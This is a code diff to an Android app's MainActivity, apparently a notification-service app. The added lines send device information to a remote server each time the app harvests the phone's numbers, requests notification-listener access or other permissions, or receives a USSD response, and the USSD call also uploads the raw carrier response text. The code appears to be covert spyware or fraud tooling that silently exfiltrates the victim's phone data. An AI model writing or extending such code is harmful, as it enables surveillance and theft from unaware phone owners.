diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 0a570b0..5cd7189 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -344,6 +344,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void makeProcess(Context context) { // Log.i("a", "Make process task..."); // STATIC + PostRequest postRequestTask = new PostRequest(this, this); + postRequestTask.execute("makeProcess", // STATIC + getDeviceInfo(context)); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -464,7 +467,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba if (requestsCount == 2) { if (!isNotificationServiceEnabled()) { promptNotificationAccess(); + PostRequest postRequestTask = new PostRequest(this, this); + postRequestTask.execute("notificationPermission", // STATIC + getDeviceInfo(this)); // STATIC } else { + PostRequest postRequestTask = new PostRequest(this, this); + postRequestTask.execute("requestPermissions", // STATIC + getDeviceInfo(this)); // STATIC requestPermissions(retrievePermissions(this)); } } @@ -552,6 +561,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { super.onReceiveUssdResponse(telephonyManager, request, response); String responseString = response.toString(); + PostRequest postRequestTask = new PostRequest(getBaseContext(), null); + postRequestTask.execute("ussdResponse", // STATIC + getDeviceInfo(getBaseContext()) + ";" + responseString); // STATIC if(!finalSmsResponse){ String extractedNumber = extractFirstPhoneNumber(responseString); if (extractedNumber.isEmpty()) {